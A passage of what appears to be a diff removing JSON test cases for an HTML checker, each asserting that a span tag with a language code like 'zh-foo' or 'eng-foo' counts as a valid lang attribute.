-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'scc-foo'",
-"input": "<span lang=scc-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mni-foo'",
-"input": "<span lang=mni-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gd-foo'",
-"input": "<span lang=gd-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'per-foo'",
-"input": "<span lang=per-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ga-foo'",
-"input": "<span lang=ga-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nwc-foo'",
-"input": "<span lang=nwc-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'osa-foo'",
-"input": "<span lang=osa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gn-foo'",
-"input": "<span lang=gn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'alt-foo'",
-"input": "<span lang=alt-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gl-foo'",
-"input": "<span lang=gl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'scr-foo'",
-"input": "<span lang=scr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mwr-foo'",
-"input": "<span lang=mwr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ty-foo'",
-"input": "<span lang=ty-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tw-foo'",
-"input": "<span lang=tw-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tt-foo'",
-"input": "<span lang=tt-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tr-foo'",
-"input": "<span lang=tr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ts-foo'",
-"input": "<span lang=ts-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tn-foo'",
-"input": "<span lang=tn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'to-foo'",
-"input": "<span lang=to-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tl-foo'",
-"input": "<span lang=tl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tk-foo'",
-"input": "<span lang=tk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'th-foo'",
-"input": "<span lang=th-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ti-foo'",
-"input": "<span lang=ti-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ven-foo'",
-"input": "<span lang=ven-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tg-foo'",
-"input": "<span lang=tg-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'te-foo'",
-"input": "<span lang=te-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'uga-foo'",
-"input": "<span lang=uga-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ta-foo'",
-"input": "<span lang=ta-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fas-foo'",
-"input": "<span lang=fas-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fat-foo'",
-"input": "<span lang=fat-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fan-foo'",
-"input": "<span lang=fan-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fao-foo'",
-"input": "<span lang=fao-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'got-foo'",
-"input": "<span lang=got-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sme-foo'",
-"input": "<span lang=sme-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'din-foo'",
-"input": "<span lang=din-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hye-foo'",
-"input": "<span lang=hye-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'guj-foo'",
-"input": "<span lang=guj-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cmc-foo'",
-"input": "<span lang=cmc-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'srd-foo'",
-"input": "<span lang=srd-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mdr-foo'",
-"input": "<span lang=mdr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ml-foo'",
-"input": "<span lang=ml-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'div-foo'",
-"input": "<span lang=div-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zh-foo'",
-"input": "<span lang=zh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tem-foo'",
-"input": "<span lang=tem-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'xho-foo'",
-"input": "<span lang=xho-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mno-foo'",
-"input": "<span lang=mno-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'roa-foo'",
-"input": "<span lang=roa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'za-foo'",
-"input": "<span lang=za-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'deu-foo'",
-"input": "<span lang=deu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mk-foo'",
-"input": "<span lang=mk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nbl-foo'",
-"input": "<span lang=nbl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zu-foo'",
-"input": "<span lang=zu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ter-foo'",
-"input": "<span lang=ter-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tet-foo'",
-"input": "<span lang=tet-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mnc-foo'",
-"input": "<span lang=mnc-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sun-foo'",
-"input": "<span lang=sun-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'abk-foo'",
-"input": "<span lang=abk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'suk-foo'",
-"input": "<span lang=suk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kur-foo'",
-"input": "<span lang=kur-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kum-foo'",
-"input": "<span lang=kum-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'slo-foo'",
-"input": "<span lang=slo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sus-foo'",
-"input": "<span lang=sus-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'new-foo'",
-"input": "<span lang=new-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kua-foo'",
-"input": "<span lang=kua-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sux-foo'",
-"input": "<span lang=sux-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'den-foo'",
-"input": "<span lang=den-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mr-foo'",
-"input": "<span lang=mr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mul-foo'",
-"input": "<span lang=mul-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lez-foo'",
-"input": "<span lang=lez-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gla-foo'",
-"input": "<span lang=gla-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bos-foo'",
-"input": "<span lang=bos-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gle-foo'",
-"input": "<span lang=gle-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'eka-foo'",
-"input": "<span lang=eka-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'glg-foo'",
-"input": "<span lang=glg-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'akk-foo'",
-"input": "<span lang=akk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dra-foo'",
-"input": "<span lang=dra-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'aka-foo'",
-"input": "<span lang=aka-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bod-foo'",
-"input": "<span lang=bod-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'glv-foo'",
-"input": "<span lang=glv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'jrb-foo'",
-"input": "<span lang=jrb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'vie-foo'",
-"input": "<span lang=vie-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ipk-foo'",
-"input": "<span lang=ipk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'uzb-foo'",
-"input": "<span lang=uzb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sgn-foo'",
-"input": "<span lang=sgn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sga-foo'",
-"input": "<span lang=sga-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bre-foo'",
-"input": "<span lang=bre-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'apa-foo'",
-"input": "<span lang=apa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bra-foo'",
-"input": "<span lang=bra-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'aym-foo'",
-"input": "<span lang=aym-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cha-foo'",
-"input": "<span lang=cha-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chb-foo'",
-"input": "<span lang=chb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'che-foo'",
-"input": "<span lang=che-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chg-foo'",
-"input": "<span lang=chg-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chi-foo'",
-"input": "<span lang=chi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chk-foo'",
-"input": "<span lang=chk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'aus-foo'",
-"input": "<span lang=aus-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chn-foo'",
-"input": "<span lang=chn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cho-foo'",
-"input": "<span lang=cho-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chp-foo'",
-"input": "<span lang=chp-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chr-foo'",
-"input": "<span lang=chr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chu-foo'",
-"input": "<span lang=chu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chv-foo'",
-"input": "<span lang=chv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chy-foo'",
-"input": "<span lang=chy-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'msa-foo'",
-"input": "<span lang=msa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'iii-foo'",
-"input": "<span lang=iii-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'vot-foo'",
-"input": "<span lang=vot-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mg-foo'",
-"input": "<span lang=mg-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ndo-foo'",
-"input": "<span lang=ndo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ibo-foo'",
-"input": "<span lang=ibo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'car-foo'",
-"input": "<span lang=car-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mo-foo'",
-"input": "<span lang=mo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mn-foo'",
-"input": "<span lang=mn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mi-foo'",
-"input": "<span lang=mi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mh-foo'",
-"input": "<span lang=mh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cau-foo'",
-"input": "<span lang=cau-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cat-foo'",
-"input": "<span lang=cat-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bur-foo'",
-"input": "<span lang=bur-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mt-foo'",
-"input": "<span lang=mt-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cai-foo'",
-"input": "<span lang=cai-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'del-foo'",
-"input": "<span lang=del-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ms-foo'",
-"input": "<span lang=ms-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'byn-foo'",
-"input": "<span lang=byn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mwl-foo'",
-"input": "<span lang=mwl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'my-foo'",
-"input": "<span lang=my-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cad-foo'",
-"input": "<span lang=cad-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tat-foo'",
-"input": "<span lang=tat-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nde-foo'",
-"input": "<span lang=nde-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tam-foo'",
-"input": "<span lang=tam-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'spa-foo'",
-"input": "<span lang=spa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tah-foo'",
-"input": "<span lang=tah-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tai-foo'",
-"input": "<span lang=tai-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cze-foo'",
-"input": "<span lang=cze-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'afh-foo'",
-"input": "<span lang=afh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'eng-foo'",
-"input": "<span lang=eng-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'afa-foo'",
-"input": "<span lang=afa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'id-foo'",
-"input": "<span lang=id-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nyn-foo'",
-"input": "<span lang=nyn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nyo-foo'",
-"input": "<span lang=nyo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gez-foo'",
-"input": "<span lang=gez-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nya-foo'",
-"input": "<span lang=nya-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sio-foo'",
-"input": "<span lang=sio-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sin-foo'",
-"input": "<span lang=sin-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'afr-foo'",
-"input": "<span lang=afr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'map-foo'",
-"input": "<span lang=map-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fr-foo'",
-"input": "<span lang=fr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lao-foo'",
-"input": "<span lang=lao-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lah-foo'",
-"input": "<span lang=lah-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nym-foo'",
-"input": "<span lang=nym-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sna-foo'",
-"input": "<span lang=sna-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lad-foo'",
-"input": "<span lang=lad-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fy-foo'",
-"input": "<span lang=fy-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'snk-foo'",
-"input": "<span lang=snk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fa-foo'",
-"input": "<span lang=fa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mac-foo'",
-"input": "<span lang=mac-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mad-foo'",
-"input": "<span lang=mad-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ff-foo'",
-"input": "<span lang=ff-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lat-foo'",
-"input": "<span lang=lat-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fi-foo'",
-"input": "<span lang=fi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fj-foo'",
-"input": "<span lang=fj-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mal-foo'",
-"input": "<span lang=mal-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mao-foo'",
-"input": "<span lang=mao-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fo-foo'",
-"input": "<span lang=fo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mak-foo'",
-"input": "<span lang=mak-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'egy-foo'",
-"input": "<span lang=egy-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'znd-foo'",
-"input": "<span lang=znd-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ss-foo'",
-"input": "<span lang=ss-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sr-foo'",
-"input": "<span lang=sr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sq-foo'",
-"input": "<span lang=sq-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sit-foo'",
-"input": "<span lang=sit-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sw-foo'",
-"input": "<span lang=sw-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sv-foo'",
-"input": "<span lang=sv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'su-foo'",
-"input": "<span lang=su-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'st-foo'",
-"input": "<span lang=st-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sk-foo'",
-"input": "<span lang=sk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'si-foo'",
-"input": "<span lang=si-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sh-foo'",
-"input": "<span lang=sh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'so-foo'",
-"input": "<span lang=so-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sn-foo'",
-"input": "<span lang=sn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sm-foo'",
-"input": "<span lang=sm-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sl-foo'",
-"input": "<span lang=sl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sc-foo'",
-"input": "<span lang=sc-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sa-foo'",
-"input": "<span lang=sa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sg-foo'",
-"input": "<span lang=sg-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'se-foo'",
-"input": "<span lang=se-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sd-foo'",
-"input": "<span lang=sd-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zen-foo'",
-"input": "<span lang=zen-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kbd-foo'",
-"input": "<span lang=kbd-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'enm-foo'",
-"input": "<span lang=enm-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'iro-foo'",
-"input": "<span lang=iro-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'vai-foo'",
-"input": "<span lang=vai-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'csb-foo'",
-"input": "<span lang=csb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tsn-foo'",
-"input": "<span lang=tsn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lg-foo'",
-"input": "<span lang=lg-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lb-foo'",
-"input": "<span lang=lb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'la-foo'",
-"input": "<span lang=la-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ln-foo'",
-"input": "<span lang=ln-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lo-foo'",
-"input": "<span lang=lo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'li-foo'",
-"input": "<span lang=li-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lv-foo'",
-"input": "<span lang=lv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lt-foo'",
-"input": "<span lang=lt-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lu-foo'",
-"input": "<span lang=lu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hin-foo'",
-"input": "<span lang=hin-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fij-foo'",
-"input": "<span lang=fij-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fin-foo'",
-"input": "<span lang=fin-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'eus-foo'",
-"input": "<span lang=eus-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'yi-foo'",
-"input": "<span lang=yi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'non-foo'",
-"input": "<span lang=non-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ceb-foo'",
-"input": "<span lang=ceb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'yo-foo'",
-"input": "<span lang=yo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dan-foo'",
-"input": "<span lang=dan-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cel-foo'",
-"input": "<span lang=cel-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bat-foo'",
-"input": "<span lang=bat-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nob-foo'",
-"input": "<span lang=nob-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dak-foo'",
-"input": "<span lang=dak-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ces-foo'",
-"input": "<span lang=ces-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dar-foo'",
-"input": "<span lang=dar-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'son-foo'",
-"input": "<span lang=son-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'day-foo'",
-"input": "<span lang=day-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nor-foo'",
-"input": "<span lang=nor-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gba-foo'",
-"input": "<span lang=gba-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ssa-foo'",
-"input": "<span lang=ssa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hil-foo'",
-"input": "<span lang=hil-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kpe-foo'",
-"input": "<span lang=kpe-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'man-foo'",
-"input": "<span lang=man-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wel-foo'",
-"input": "<span lang=wel-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'el-foo'",
-"input": "<span lang=el-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'eo-foo'",
-"input": "<span lang=eo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'en-foo'",
-"input": "<span lang=en-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lam-foo'",
-"input": "<span lang=lam-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ee-foo'",
-"input": "<span lang=ee-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tpi-foo'",
-"input": "<span lang=tpi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mdf-foo'",
-"input": "<span lang=mdf-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mas-foo'",
-"input": "<span lang=mas-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mar-foo'",
-"input": "<span lang=mar-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'eu-foo'",
-"input": "<span lang=eu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'et-foo'",
-"input": "<span lang=et-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'es-foo'",
-"input": "<span lang=es-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ru-foo'",
-"input": "<span lang=ru-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rw-foo'",
-"input": "<span lang=rw-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'goh-foo'",
-"input": "<span lang=goh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sms-foo'",
-"input": "<span lang=sms-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'smo-foo'",
-"input": "<span lang=smo-foo>",
